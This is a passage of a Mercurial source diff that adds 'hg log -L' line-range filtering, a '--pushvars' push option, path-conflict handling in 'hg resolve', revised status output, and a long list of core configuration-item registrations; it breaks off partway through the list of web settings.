@@ -3329,6 +3355,15 @@
 
           hg log -r "last(tagged())::" --template "{desc|firstline}\\n"
 
+      - changesets touching lines 13 to 23 for file.c::
+
+          hg log -L file.c,13:23
+
+      - changesets touching lines 13 to 23 for file.c and lines 2 to 6 of
+        main.c with patch::
+
+          hg log -L file.c,13:23 -L main.c,2:6 -p
+
     See :hg:`help dates` for a list of formats valid for -d/--date.
 
     See :hg:`help revisions` for more about specifying and ordering
@@ -3343,14 +3378,43 @@
 
     """
     opts = pycompat.byteskwargs(opts)
+    linerange = opts.get('line_range')
+
+    if linerange and not opts.get('follow'):
+        raise error.Abort(_('--line-range requires --follow'))
+
+    if linerange and pats:
+        raise error.Abort(
+            _('FILE arguments are not compatible with --line-range option')
+        )
+
     if opts.get('follow') and opts.get('rev'):
         opts['rev'] = [revsetlang.formatspec('reverse(::%lr)', opts.get('rev'))]
         del opts['follow']
 
     if opts.get('graph'):
+        if linerange:
+            raise error.Abort(_('graph not supported with line range patterns'))
         return cmdutil.graphlog(ui, repo, pats, opts)
 
     revs, expr, filematcher = cmdutil.getlogrevs(repo, pats, opts)
+    hunksfilter = None
+
+    if linerange:
+        revs, lrfilematcher, hunksfilter = cmdutil.getloglinerangerevs(
+            repo, revs, opts)
+
+        if filematcher is not None and lrfilematcher is not None:
+            basefilematcher = filematcher
+
+            def filematcher(rev):
+                files = (basefilematcher(rev).files()
+                         + lrfilematcher(rev).files())
+                return scmutil.matchfiles(repo, files)
+
+        elif filematcher is None:
+            filematcher = lrfilematcher
+
     limit = cmdutil.loglimit(opts)
     count = 0
 
@@ -3378,7 +3442,12 @@
             revmatchfn = filematcher(ctx.rev())
         else:
             revmatchfn = None
-        displayer.show(ctx, copies=copies, matchfn=revmatchfn)
+        if hunksfilter:
+            revhunksfilter = hunksfilter(rev)
+        else:
+            revhunksfilter = None
+        displayer.show(ctx, copies=copies, matchfn=revmatchfn,
+                       hunksfilterfn=revhunksfilter)
         if displayer.flush(ctx):
             count += 1
 
@@ -3844,7 +3913,7 @@
                         "merge)\n"))
         else:
             ui.status(_("(run 'hg heads' to see heads)\n"))
-    else:
+    elif not ui.configbool('commands', 'update.requiredest'):
         ui.status(_("(run 'hg update' to get a working copy)\n"))
 
 @command('^pull',
@@ -3972,6 +4041,7 @@
     ('b', 'branch', [],
      _('a specific branch you would like to push'), _('BRANCH')),
     ('', 'new-branch', False, _('allow pushing a new branch')),
+    ('', 'pushvars', [], _('variables that can be sent to server (ADVANCED)')),
     ] + remoteopts,
     _('[-f] [-r REV]... [-e CMD] [--remotecmd CMD] [DEST]'))
 def push(ui, repo, dest=None, **opts):
@@ -4009,6 +4079,25 @@
     Please see :hg:`help urls` for important details about ``ssh://``
     URLs. If DESTINATION is omitted, a default path will be used.
 
+    .. container:: verbose
+
+        The --pushvars option sends strings to the server that become
+        environment variables prepended with ``HG_USERVAR_``. For example,
+        ``--pushvars ENABLE_FEATURE=true``, provides the server side hooks with
+        ``HG_USERVAR_ENABLE_FEATURE=true`` as part of their environment.
+
+        pushvars can provide for user-overridable hooks as well as set debug
+        levels. One example is having a hook that blocks commits containing
+        conflict markers, but enables the user to override the hook if the file
+        is using conflict markers for testing purposes or the file format has
+        strings that look like conflict markers.
+
+        By default, servers will ignore `--pushvars`. To enable it add the
+        following to your configuration file::
+
+            [push]
+            pushvars.server = true
+
     Returns 0 if push was successful, 1 if nothing to push.
     """
 
@@ -4061,10 +4150,14 @@
                 return not result
     finally:
         del repo._subtoppath
+
+    opargs = dict(opts.get('opargs', {})) # copy opargs since we may mutate it
+    opargs.setdefault('pushvars', []).extend(opts.get('pushvars', []))
+
     pushop = exchange.push(repo, other, opts.get('force'), revs=revs,
                            newbranch=opts.get('new_branch'),
                            bookmarks=opts.get('bookmark', ()),
-                           opargs=opts.get('opargs'))
+                           opargs=opargs)
 
     result = not pushop.cgresult
 
@@ -4241,14 +4334,26 @@
         fm = ui.formatter('resolve', opts)
         ms = mergemod.mergestate.read(repo)
         m = scmutil.match(repo[None], pats, opts)
+
+        # Labels and keys based on merge state.  Unresolved path conflicts show
+        # as 'P'.  Resolved path conflicts show as 'R', the same as normal
+        # resolved conflicts.
+        mergestateinfo = {
+            'u': ('resolve.unresolved', 'U'),
+            'r': ('resolve.resolved', 'R'),
+            'pu': ('resolve.unresolved', 'P'),
+            'pr': ('resolve.resolved', 'R'),
+            'd': ('resolve.driverresolved', 'D'),
+        }
+
         for f in ms:
             if not m(f):
                 continue
-            l = 'resolve.' + {'u': 'unresolved', 'r': 'resolved',
-                              'd': 'driverresolved'}[ms[f]]
+
+            label, key = mergestateinfo[ms[f]]
             fm.startitem()
-            fm.condwrite(not nostatus, 'status', '%s ', ms[f].upper(), label=l)
-            fm.write('path', '%s\n', f, label=l)
+            fm.condwrite(not nostatus, 'status', '%s ', key, label=label)
+            fm.write('path', '%s\n', f, label=label)
         fm.end()
         return 0
 
@@ -4296,6 +4401,17 @@
                     runconclude = True
                 continue
 
+            # path conflicts must be resolved manually
+            if ms[f] in ("pu", "pr"):
+                if mark:
+                    ms.mark(f, "pr")
+                elif unmark:
+                    ms.mark(f, "pu")
+                elif ms[f] == "pu":
+                    ui.warn(_('%s: path conflict must be resolved manually\n')
+                            % f)
+                continue
+
             if mark:
                 ms.mark(f, "r")
             elif unmark:
@@ -4665,15 +4781,23 @@
 
     .. container:: verbose
 
-      The -t/--terse option abbreviates the output by showing directory name
-      if all the files in it share the same status. The option expects a value
-      which can be a string formed by using 'm', 'a', 'r', 'd', 'u', 'i', 'c'
-      where, 'm' stands for 'modified', 'a' for 'added', 'r' for 'removed',
-      'd' for 'deleted', 'u' for 'unknown', 'i' for 'ignored' and 'c' for clean.
-
-      It terses the output of only those status which are passed. The ignored
-      files are not considered while tersing until 'i' is there in --terse value
-      or the --ignored option is used.
+      The -t/--terse option abbreviates the output by showing only the directory
+      name if all the files in it share the same status. The option takes an
+      argument indicating the statuses to abbreviate: 'm' for 'modified', 'a'
+      for 'added', 'r' for 'removed', 'd' for 'deleted', 'u' for 'unknown', 'i'
+      for 'ignored' and 'c' for clean.
+
+      It abbreviates only those statuses which are passed. Note that ignored
+      files are not displayed with '--terse i' unless the -i/--ignored option is
+      also used.
+
+      The -v/--verbose option shows information when the repository is in an
+      unfinished merge, shelve, rebase state etc. You can have this behavior
+      turned on by default by enabling the ``commands.status.verbose`` option.
+
+      You can skip displaying some of these states by setting
+      ``commands.status.skipstates`` to one or more of: 'bisect', 'graft',
+      'histedit', 'merge', 'rebase', or 'unshelve'.
 
       Examples:
 
@@ -4695,7 +4819,13 @@
 
           hg status -an0
 
+      - show more information about the repository status, abbreviating
+        added, removed, modified, deleted, and untracked paths::
+
+          hg status -v -t mardu
+
     Returns 0 on success.
+
     """
 
     opts = pycompat.byteskwargs(opts)
@@ -4737,12 +4867,18 @@
             show = states[:5]
 
     m = scmutil.match(repo[node2], pats, opts)
-    stat = repo.status(node1, node2, m,
-                       'ignored' in show, 'clean' in show, 'unknown' in show,
-                       opts.get('subrepos'))
     if terse:
-        stat = cmdutil.tersestatus(repo.root, stat, terse,
-                                    repo.dirstate._ignore, opts.get('ignored'))
+        # we need to compute clean and unknown to terse
+        stat = repo.status(node1, node2, m,
+                           'ignored' in show or 'i' in terse,
+                            True, True, opts.get('subrepos'))
+
+        stat = cmdutil.tersedir(stat, terse)
+    else:
+        stat = repo.status(node1, node2, m,
+                           'ignored' in show, 'clean' in show,
+                           'unknown' in show, opts.get('subrepos'))
+
     changestates = zip(states, pycompat.iterbytestr('MAR!?IC'), stat)
 
     if (opts.get('all') or opts.get('copies')
@@ -4764,6 +4900,10 @@
                 if f in copy:
                     fm.write("copy", '  %s' + end, repo.pathto(copy[f], cwd),
                              label='status.copied')
+
+    if ((ui.verbose or ui.configbool('commands', 'status.verbose'))
+        and not ui.plain()):
+        cmdutil.morestatus(repo, fm)
     fm.end()
 
 @command('^summary|sum',
@@ -4814,10 +4954,11 @@
                 ui.write(_(' (no revision checked out)'))
         if p.obsolete():
             ui.write(_(' (obsolete)'))
-        if p.troubled():
+        if p.isunstable():
+            instabilities = (ui.label(instability, 'trouble.%s' % instability)
+                             for instability in p.instabilities())
             ui.write(' ('
-                     + ', '.join(ui.label(trouble, 'trouble.%s' % trouble)
-                                 for trouble in p.troubles())
+                     + ', '.join(instabilities)
                      + ')')
         ui.write('\n')
         if p.description():
@@ -4939,13 +5080,13 @@
         ui.status(_('phases: %s\n') % ', '.join(t))
 
     if obsolete.isenabled(repo, obsolete.createmarkersopt):
-        for trouble in ("unstable", "divergent", "bumped"):
+        for trouble in ("orphan", "contentdivergent", "phasedivergent"):
             numtrouble = len(repo.revs(trouble + "()"))
             # We write all the possibilities to ease translation
             troublemsg = {
-               "unstable": _("unstable: %d changesets"),
-               "divergent": _("divergent: %d changesets"),
-               "bumped": _("bumped: %d changesets"),
+               "orphan": _("orphan: %d changesets"),
+               "contentdivergent": _("content-divergent: %d changesets"),
+               "phasedivergent": _("phase-divergent: %d changesets"),
             }
             if numtrouble > 0:
                 ui.status(troublemsg[trouble] % numtrouble + "\n")
diff --git a/mercurial/commandserver.py b/mercurial/commandserver.py
--- a/mercurial/commandserver.py
+++ b/mercurial/commandserver.py
@@ -184,7 +184,6 @@
 
     def cleanup(self):
         """release and restore resources taken during server session"""
-        pass
 
     def _read(self, size):
         if not size:
@@ -273,8 +272,8 @@
 
         return cmd != ''
 
-    capabilities = {'runcommand'  : runcommand,
-                    'getencoding' : getencoding}
+    capabilities = {'runcommand': runcommand,
+                    'getencoding': getencoding}
 
     def serve(self):
         hellomsg = 'capabilities: ' + ' '.join(sorted(self.capabilities))
@@ -422,7 +421,6 @@
 
     def newconnection(self):
         """Called when main process notices new connection"""
-        pass
 
     def createcmdserver(self, repo, conn, fin, fout):
         """Create new command server instance; called in the process that
diff --git a/mercurial/compat.h b/mercurial/compat.h
--- a/mercurial/compat.h
+++ b/mercurial/compat.h
@@ -7,8 +7,10 @@
 #define inline __inline
 #if defined(_WIN64)
 typedef __int64 ssize_t;
+typedef unsigned __int64 uintptr_t;
 #else
 typedef int ssize_t;
+typedef unsigned int uintptr_t;
 #endif
 typedef signed char int8_t;
 typedef short int16_t;
diff --git a/mercurial/config.py b/mercurial/config.py
--- a/mercurial/config.py
+++ b/mercurial/config.py
@@ -20,13 +20,14 @@
 class config(object):
     def __init__(self, data=None, includepaths=None):
         self._data = {}
-        self._source = {}
         self._unset = []
         self._includepaths = includepaths or []
         if data:
             for k in data._data:
                 self._data[k] = data[k].copy()
             self._source = data._source.copy()
+        else:
+            self._source = util.cowdict()
     def copy(self):
         return config(self)
     def __contains__(self, section):
@@ -39,13 +40,19 @@
         for d in self.sections():
             yield d
     def update(self, src):
+        self._source = self._source.preparewrite()
         for s, n in src._unset:
-            if s in self and n in self._data[s]:
+            ds = self._data.get(s, None)
+            if ds is not None and n in ds:
+                self._data[s] = ds.preparewrite()
                 del self._data[s][n]
                 del self._source[(s, n)]
         for s in src:
-            if s not in self:
-                self._data[s] = util.sortdict()
+            ds = self._data.get(s, None)
+            if ds:
+                self._data[s] = ds.preparewrite()
+            else:
+                self._data[s] = util.cowsortdict()
             self._data[s].update(src._data[s])
         self._source.update(src._source)
     def get(self, section, item, default=None):
@@ -74,16 +81,21 @@
             assert not isinstance(value, str), (
                 'config values may not be unicode strings on Python 3')
         if section not in self:
-            self._data[section] = util.sortdict()
+            self._data[section] = util.cowsortdict()
+        else:
+            self._data[section] = self._data[section].preparewrite()
         self._data[section][item] = value
         if source:
+            self._source = self._source.preparewrite()
             self._source[(section, item)] = source
 
     def restore(self, data):
         """restore data returned by self.backup"""
+        self._source = self._source.preparewrite()
         if len(data) == 4:
             # restore old data
             section, item, value, source = data
+            self._data[section] = self._data[section].preparewrite()
             self._data[section][item] = value
             self._source[(section, item)] = source
         else:
@@ -106,6 +118,9 @@
         line = 0
         cont = False
 
+        if remap:
+            section = remap.get(section, section)
+
         for l in data.splitlines(True):
             line += 1
             if line == 1 and l.startswith('\xef\xbb\xbf'):
@@ -149,7 +164,7 @@
                 if remap:
                     section = remap.get(section, section)
                 if section not in self:
-                    self._data[section] = util.sortdict()
+                    self._data[section] = util.cowsortdict()
                 continue
             m = itemre.match(l)
             if m:
@@ -165,6 +180,7 @@
                 if sections and section not in sections:
                     continue
                 if self.get(section, name) is not None:
+                    self._data[section] = self._data[section].preparewrite()
                     del self._data[section][name]
                 self._unset.append((section, name))
                 continue
@@ -183,7 +199,7 @@
 def parselist(value):
     """parse a configuration value as a list of comma/space separated strings
 
-    >>> parselist('this,is "a small" ,test')
+    >>> parselist(b'this,is "a small" ,test')
     ['this', 'is', 'a small', 'test']
     """
 
diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -8,15 +8,17 @@
 from __future__ import absolute_import
 
 import functools
+import re
 
 from . import (
+    encoding,
     error,
 )
 
 def loadconfigtable(ui, extname, configtable):
     """update config item known to the ui with the extension ones"""
     for section, items in configtable.items():
-        knownitems = ui._knownconfig.setdefault(section, {})
+        knownitems = ui._knownconfig.setdefault(section, itemregister())
         knownkeys = set(knownitems)
         newkeys = set(items)
         for key in sorted(knownkeys & newkeys):
@@ -32,20 +34,67 @@
     :section: the official config section where to find this item,
        :name: the official name within the section,
     :default: default value for this item,
-    :alias: optional list of tuples as alternatives.
+    :alias: optional list of tuples as alternatives,
+    :generic: this is a generic definition, match name using regular expression.
     """
 
-    def __init__(self, section, name, default=None, alias=()):
+    def __init__(self, section, name, default=None, alias=(),
+                 generic=False, priority=0):
         self.section = section
         self.name = name
         self.default = default
         self.alias = list(alias)
+        self.generic = generic
+        self.priority = priority
+        self._re = None
+        if generic:
+            self._re = re.compile(self.name)
+
+class itemregister(dict):
+    """A specialized dictionary that can handle wild-card selection"""
+
+    def __init__(self):
+        super(itemregister, self).__init__()
+        self._generics = set()
+
+    def update(self, other):
+        super(itemregister, self).update(other)
+        self._generics.update(other._generics)
+
+    def __setitem__(self, key, item):
+        super(itemregister, self).__setitem__(key, item)
+        if item.generic:
+            self._generics.add(item)
+
+    def get(self, key):
+        baseitem = super(itemregister, self).get(key)
+        if baseitem is not None and not baseitem.generic:
+            return baseitem
+
+        # search for a matching generic item
+        generics = sorted(self._generics, key=(lambda x: (x.priority, x.name)))
+        for item in generics:
+            # we use 'match' instead of 'search' to make the matching simpler
+            # for people unfamiliar with regular expression. Having the match
+            # rooted to the start of the string will produce less surprising
+            # result for user writing simple regex for sub-attribute.
+            #
+            # For example using "color\..*" match produces an unsurprising
+            # result, while using search could suddenly match apparently
+            # unrelated configuration that happens to contains "color."
+            # anywhere. This is a tradeoff where we favor requiring ".*" on
+            # some match to avoid the need to prefix most pattern with "^".
+            # The "^" seems more error prone.
+            if item._re.match(key):
+                return item
+
+        return None
 
 coreitems = {}
 
 def _register(configtable, *args, **kwargs):
     item = configitem(*args, **kwargs)
-    section = configtable.setdefault(item.section, {})
+    section = configtable.setdefault(item.section, itemregister())
     if item.name in section:
         msg = "duplicated config item registration for '%s.%s'"
         raise error.ProgrammingError(msg % (item.section, item.name))
@@ -61,6 +110,40 @@
 
 coreconfigitem = getitemregister(coreitems)
 
+coreconfigitem('alias', '.*',
+    default=None,
+    generic=True,
+)
+coreconfigitem('annotate', 'nodates',
+    default=False,
+)
+coreconfigitem('annotate', 'showfunc',
+    default=False,
+)
+coreconfigitem('annotate', 'unified',
+    default=None,
+)
+coreconfigitem('annotate', 'git',
+    default=False,
+)
+coreconfigitem('annotate', 'ignorews',
+    default=False,
+)
+coreconfigitem('annotate', 'ignorewsamount',
+    default=False,
+)
+coreconfigitem('annotate', 'ignoreblanklines',
+    default=False,
+)
+coreconfigitem('annotate', 'ignorewseol',
+    default=False,
+)
+coreconfigitem('annotate', 'nobinary',
+    default=False,
+)
+coreconfigitem('annotate', 'noprefix',
+    default=False,
+)
 coreconfigitem('auth', 'cookiefile',
     default=None,
 )
@@ -88,24 +171,56 @@
 coreconfigitem('cmdserver', 'log',
     default=None,
 )
+coreconfigitem('color', '.*',
+    default=None,
+    generic=True,
+)
 coreconfigitem('color', 'mode',
     default='auto',
 )
 coreconfigitem('color', 'pagermode',
     default=dynamicdefault,
 )
+coreconfigitem('commands', 'show.aliasprefix',
+    default=list,
+)
 coreconfigitem('commands', 'status.relative',
     default=False,
 )
+coreconfigitem('commands', 'status.skipstates',
+    default=[],
+)
+coreconfigitem('commands', 'status.verbose',
+    default=False,
+)
+coreconfigitem('commands', 'update.check',
+    default=None,
+    # Deprecated, remove after 4.4 release
+    alias=[('experimental', 'updatecheck')]
+)
 coreconfigitem('commands', 'update.requiredest',
     default=False,
 )
+coreconfigitem('committemplate', '.*',
+    default=None,
+    generic=True,
+)
+coreconfigitem('debug', 'dirstate.delaywrite',
+    default=0,
+)
+coreconfigitem('defaults', '.*',
+    default=None,
+    generic=True,
+)
 coreconfigitem('devel', 'all-warnings',
     default=False,
 )
 coreconfigitem('devel', 'bundle2.debug',
     default=False,
 )
+coreconfigitem('devel', 'cache-vfs',
+    default=None,
+)
 coreconfigitem('devel', 'check-locks',
     default=False,
 )
@@ -121,6 +236,9 @@
 coreconfigitem('devel', 'disableloaddefaultcerts',
     default=False,
 )
+coreconfigitem('devel', 'warn-empty-changegroup',
+    default=False,
+)
 coreconfigitem('devel', 'legacy.exchange',
     default=list,
 )
@@ -136,12 +254,69 @@
 coreconfigitem('devel', 'strip-obsmarkers',
     default=True,
 )
+coreconfigitem('devel', 'warn-config',
+    default=None,
+)
+coreconfigitem('devel', 'warn-config-default',
+    default=None,
+)
+coreconfigitem('devel', 'user.obsmarker',
+    default=None,
+)
+coreconfigitem('devel', 'warn-config-unknown',
+    default=None,
+)
+coreconfigitem('diff', 'nodates',
+    default=False,
+)
+coreconfigitem('diff', 'showfunc',
+    default=False,
+)
+coreconfigitem('diff', 'unified',
+    default=None,
+)
+coreconfigitem('diff', 'git',
+    default=False,
+)
+coreconfigitem('diff', 'ignorews',
+    default=False,
+)
+coreconfigitem('diff', 'ignorewsamount',
+    default=False,
+)
+coreconfigitem('diff', 'ignoreblanklines',
+    default=False,
+)
+coreconfigitem('diff', 'ignorewseol',
+    default=False,
+)
+coreconfigitem('diff', 'nobinary',
+    default=False,
+)
+coreconfigitem('diff', 'noprefix',
+    default=False,
+)
+coreconfigitem('email', 'bcc',
+    default=None,
+)
+coreconfigitem('email', 'cc',
+    default=None,
+)
 coreconfigitem('email', 'charsets',
     default=list,
 )
+coreconfigitem('email', 'from',
+    default=None,
+)
 coreconfigitem('email', 'method',
     default='smtp',
 )
+coreconfigitem('email', 'reply-to',
+    default=None,
+)
+coreconfigitem('experimental', 'archivemetatemplate',
+    default=dynamicdefault,
+)
 coreconfigitem('experimental', 'bundle-phases',
     default=False,
 )
@@ -166,22 +341,54 @@
 coreconfigitem('experimental', 'clientcompressionengines',
     default=list,
 )
+coreconfigitem('experimental', 'copytrace',
+    default='on',
+)
+coreconfigitem('experimental', 'copytrace.movecandidateslimit',
+    default=100,
+)
+coreconfigitem('experimental', 'copytrace.sourcecommitlimit',
+    default=100,
+)
 coreconfigitem('experimental', 'crecordtest',
     default=None,
 )
-coreconfigitem('experimental', 'disablecopytrace',
-    default=False,
-)
 coreconfigitem('experimental', 'editortmpinhg',
     default=False,
 )
 coreconfigitem('experimental', 'evolution',
     default=list,
 )
+coreconfigitem('experimental', 'evolution.allowdivergence',
+    default=False,
+    alias=[('experimental', 'allowdivergence')]
+)
+coreconfigitem('experimental', 'evolution.allowunstable',
+    default=None,
+)
+coreconfigitem('experimental', 'evolution.createmarkers',
+    default=None,
+)
+coreconfigitem('experimental', 'evolution.effect-flags',
+    default=False,
+    alias=[('experimental', 'effect-flags')]
+)
+coreconfigitem('experimental', 'evolution.exchange',
+    default=None,
+)
 coreconfigitem('experimental', 'evolution.bundle-obsmarker',
     default=False,
 )
 coreconfigitem('experimental', 'evolution.track-operation',
+    default=True,
+)
+coreconfigitem('experimental', 'maxdeltachainspan',
+    default=-1,
+)
+coreconfigitem('experimental', 'mmapindexthreshold',
+    default=None,
+)
+coreconfigitem('experimental', 'nonnormalparanoidcheck',
     default=False,
 )
 coreconfigitem('experimental', 'exportableenviron',
@@ -199,6 +406,15 @@
 coreconfigitem('experimental', 'graphshorten',
     default=False,
 )
+coreconfigitem('experimental', 'graphstyle.parent',
+    default=dynamicdefault,
+)
+coreconfigitem('experimental', 'graphstyle.missing',
+    default=dynamicdefault,
+)
+coreconfigitem('experimental', 'graphstyle.grandparent',
+    default=dynamicdefault,
+)
 coreconfigitem('experimental', 'hook-track-tags',
     default=False,
 )
@@ -214,6 +430,9 @@
 coreconfigitem('experimental', 'obsmarkers-exchange-debug',
     default=False,
 )
+coreconfigitem('experimental', 'rebase.multidest',
+    default=False,
+)
 coreconfigitem('experimental', 'revertalternateinteractivemode',
     default=True,
 )
@@ -223,11 +442,25 @@
 coreconfigitem('experimental', 'spacemovesdown',
     default=False,
 )
+coreconfigitem('experimental', 'sparse-read',
+    default=False,
+)
+coreconfigitem('experimental', 'sparse-read.density-threshold',
+    default=0.25,
+)
+coreconfigitem('experimental', 'sparse-read.min-gap-size',
+    default='256K',
+)
 coreconfigitem('experimental', 'treemanifest',
     default=False,
 )
-coreconfigitem('experimental', 'updatecheck',
+coreconfigitem('extensions', '.*',
     default=None,
+    generic=True,
+)
+coreconfigitem('extdata', '.*',
+    default=None,
+    generic=True,
 )
 coreconfigitem('format', 'aggressivemergedeltas',
     default=False,
@@ -259,12 +492,50 @@
 coreconfigitem('format', 'usestore',
     default=True,
 )
+coreconfigitem('fsmonitor', 'warn_when_unused',
+    default=True,
+)
+coreconfigitem('fsmonitor', 'warn_update_file_count',
+    default=50000,
+)
+coreconfigitem('hooks', '.*',
+    default=dynamicdefault,
+    generic=True,
+)
+coreconfigitem('hgweb-paths', '.*',
+    default=list,
+    generic=True,
+)
+coreconfigitem('hostfingerprints', '.*',
+    default=list,
+    generic=True,
+)
 coreconfigitem('hostsecurity', 'ciphers',
     default=None,
 )
 coreconfigitem('hostsecurity', 'disabletls10warning',
     default=False,
 )
+coreconfigitem('hostsecurity', 'minimumprotocol',
+    default=dynamicdefault,
+)
+coreconfigitem('hostsecurity', '.*:minimumprotocol$',
+    default=dynamicdefault,
+    generic=True,
+)
+coreconfigitem('hostsecurity', '.*:ciphers$',
+    default=dynamicdefault,
+    generic=True,
+)
+coreconfigitem('hostsecurity', '.*:fingerprints$',
+    default=list,
+    generic=True,
+)
+coreconfigitem('hostsecurity', '.*:verifycertsfile$',
+    default=None,
+    generic=True,
+)
+
 coreconfigitem('http_proxy', 'always',
     default=False,
 )
@@ -280,12 +551,100 @@
 coreconfigitem('http_proxy', 'user',
     default=None,
 )
+coreconfigitem('logtoprocess', 'commandexception',
+    default=None,
+)
+coreconfigitem('logtoprocess', 'commandfinish',
+    default=None,
+)
+coreconfigitem('logtoprocess', 'command',
+    default=None,
+)
+coreconfigitem('logtoprocess', 'develwarn',
+    default=None,
+)
+coreconfigitem('logtoprocess', 'uiblocked',
+    default=None,
+)
+coreconfigitem('merge', 'checkunknown',
+    default='abort',
+)
+coreconfigitem('merge', 'checkignored',
+    default='abort',
+)
 coreconfigitem('merge', 'followcopies',
     default=True,
 )
+coreconfigitem('merge', 'on-failure',
+    default='continue',
+)
+coreconfigitem('merge', 'preferancestor',
+        default=lambda: ['*'],
+)
+coreconfigitem('merge-tools', '.*',
+    default=None,
+    generic=True,
+)
+coreconfigitem('merge-tools', br'.*\.args$',
+    default="$local $base $other",
+    generic=True,
+    priority=-1,
+)
+coreconfigitem('merge-tools', br'.*\.binary$',
+    default=False,
+    generic=True,
+    priority=-1,
+)
+coreconfigitem('merge-tools', br'.*\.check$',
+    default=list,
+    generic=True,
+    priority=-1,
+)
+coreconfigitem('merge-tools', br'.*\.checkchanged$',
+    default=False,
+    generic=True,
+    priority=-1,
+)
+coreconfigitem('merge-tools', br'.*\.executable$',
+    default=dynamicdefault,
+    generic=True,
+    priority=-1,
+)
+coreconfigitem('merge-tools', br'.*\.fixeol$',
+    default=False,
+    generic=True,
+    priority=-1,
+)
+coreconfigitem('merge-tools', br'.*\.gui$',
+    default=False,
+    generic=True,
+    priority=-1,
+)
+coreconfigitem('merge-tools', br'.*\.priority$',
+    default=0,
+    generic=True,
+    priority=-1,
+)
+coreconfigitem('merge-tools', br'.*\.premerge$',
+    default=dynamicdefault,
+    generic=True,
+    priority=-1,
+)
+coreconfigitem('merge-tools', br'.*\.symlink$',
+    default=False,
+    generic=True,
+    priority=-1,
+)
+coreconfigitem('pager', 'attend-.*',
+    default=dynamicdefault,
+    generic=True,
+)
 coreconfigitem('pager', 'ignore',
     default=list,
 )
+coreconfigitem('pager', 'pager',
+    default=dynamicdefault,
+)
 coreconfigitem('patch', 'eol',
     default='strict',
 )
@@ -298,9 +657,16 @@
 coreconfigitem('paths', 'default-push',
     default=None,
 )
+coreconfigitem('paths', '.*',
+    default=None,
+    generic=True,
+)
 coreconfigitem('phases', 'checksubrepos',
     default='follow',
 )
+coreconfigitem('phases', 'new-commit',
+    default='draft',
+)
 coreconfigitem('phases', 'publish',
     default=True,
 )
@@ -319,12 +685,24 @@
 coreconfigitem('profiling', 'nested',
     default=0,
 )
+coreconfigitem('profiling', 'output',
+    default=None,
+)
+coreconfigitem('profiling', 'showmax',
+    default=0.999,
+)
+coreconfigitem('profiling', 'showmin',
+    default=dynamicdefault,
+)
 coreconfigitem('profiling', 'sort',
     default='inlinetime',
 )
 coreconfigitem('profiling', 'statformat',
     default='hotpath',
 )
+coreconfigitem('profiling', 'type',
+    default='stat',
+)
 coreconfigitem('progress', 'assume-tty',
     default=False,
 )
@@ -343,8 +721,11 @@
 coreconfigitem('progress', 'disable',
     default=False,
 )
-coreconfigitem('progress', 'estimate',
-    default=2,
+coreconfigitem('progress', 'estimateinterval',
+    default=60.0,
+)
+coreconfigitem('progress', 'format',
+    default=lambda: ['topic', 'bar', 'number', 'estimate'],
 )
 coreconfigitem('progress', 'refresh',
     default=0.1,
@@ -352,12 +733,27 @@
 coreconfigitem('progress', 'width',
     default=dynamicdefault,
 )
+coreconfigitem('push', 'pushvars.server',
+    default=False,
+)
 coreconfigitem('server', 'bundle1',
     default=True,
 )
 coreconfigitem('server', 'bundle1gd',
     default=None,
 )
+coreconfigitem('server', 'bundle1.pull',
+    default=None,
+)
+coreconfigitem('server', 'bundle1gd.pull',
+    default=None,
+)
+coreconfigitem('server', 'bundle1.push',
+    default=None,
+)
+coreconfigitem('server', 'bundle1gd.push',
+    default=None,
+)
 coreconfigitem('server', 'compressionengines',
     default=list,
 )
@@ -394,6 +790,9 @@
 coreconfigitem('smtp', 'password',
     default=None,
 )
+coreconfigitem('smtp', 'port',
+    default=dynamicdefault,
+)
 coreconfigitem('smtp', 'tls',
     default='none',
 )
@@ -403,6 +802,10 @@
 coreconfigitem('sparse', 'missingwarning',
     default=True,
 )
+coreconfigitem('templates', '.*',
+    default=None,
+    generic=True,
+)
 coreconfigitem('trusted', 'groups',
     default=list,
 )
@@ -472,6 +875,9 @@
 coreconfigitem('ui', 'interface',
     default=None,
 )
+coreconfigitem('ui', 'interface.chunkselector',
+    default=None,
+)
 coreconfigitem('ui', 'logblockedtimes',
     default=False,
 )
@@ -567,6 +973,135 @@
 coreconfigitem('verify', 'skipflags',
     default=None,
 )
+coreconfigitem('web', 'allowbz2',
+    default=False,
+)
+coreconfigitem('web', 'allowgz',
+    default=False,
+)
+coreconfigitem('web', 'allowpull',
+    default=True,
+)
+coreconfigitem('web', 'allow_push',
+    default=list,
+)
+coreconfigitem('web', 'allowzip',
+    default=False,
+)
+coreconfigitem('web', 'archivesubrepos',
+    default=False,
+)
+coreconfigitem('web', 'cache',
+    default=True,
+)
+coreconfigitem('web', 'contact',
+    default=None,
+)
+coreconfigitem('web', 'deny_push',
+    default=list,
+)
+coreconfigitem('web', 'guessmime',
+    default=False,
+)
+coreconfigitem('web', 'hidden',
+    default=False,
+)
+coreconfigitem('web', 'labels',
+    default=list,
+)
+coreconfigitem('web', 'logoimg',
+    default='hglogo.png',
+)
+coreconfigitem('web', 'logourl',
+    default='https://mercurial-scm.org/',
+)
+coreconfigitem('web', 'accesslog',
+    default='-',
+)
+coreconfigitem('web', 'address',
+    default='',
+)
+coreconfigitem('web', 'allow_archive',
+    default=list,
+)
+coreconfigitem('web', 'allow_read',
+    default=list,
+)
+coreconfigitem('web', 'baseurl',
+    default=None,
+)
+coreconfigitem('web', 'cacerts',
+    default=None,
+)
+coreconfigitem('web', 'certificate',
+    default=None,
+)
+coreconfigitem('web', 'collapse',
+    default=False,
+)
+coreconfigitem('web', 'csp',
+    default=None,
+)
+coreconfigitem('web', 'deny_read',
+    default=list,
+)
+coreconfigitem('web', 'descend',
+    default=True,
+)
+coreconfigitem('web', 'description',
+    default="",
+)
+coreconfigitem('web', 'encoding',
+    default=lambda: encoding.encoding,
+)
+coreconfigitem('web', 'errorlog',
+    default='-',
+)
+coreconfigitem('web', 'ipv6',
+    default=False,
+)
+coreconfigitem('web', 'maxchanges',
+    default=10,
+)
+coreconfigitem('web', 'maxfiles',
+    default=10,
+)
+coreconfigitem('web', 'maxshortchanges',
+    default=60,
+)
+coreconfigitem('web', 'motd',
+    default='',
+)
+coreconfigitem('web', 'name',
+    default=dynamicdefault,
+)
+coreconfigitem('web', 'port',
+    default=8000,
+)
+coreconfigitem('web', 'prefix',
+    default='',
+)
+coreconfigitem('web', 'push_ssl',
+    default=True,
+)
+coreconfigitem('web', 'refreshinterval',
+    default=20,
+)
+coreconfigitem('web', 'staticurl',
+    default=None,
+)
+coreconfigitem('web', 'stripes',
+    default=1,
+)
+coreconfigitem('web', 'style',
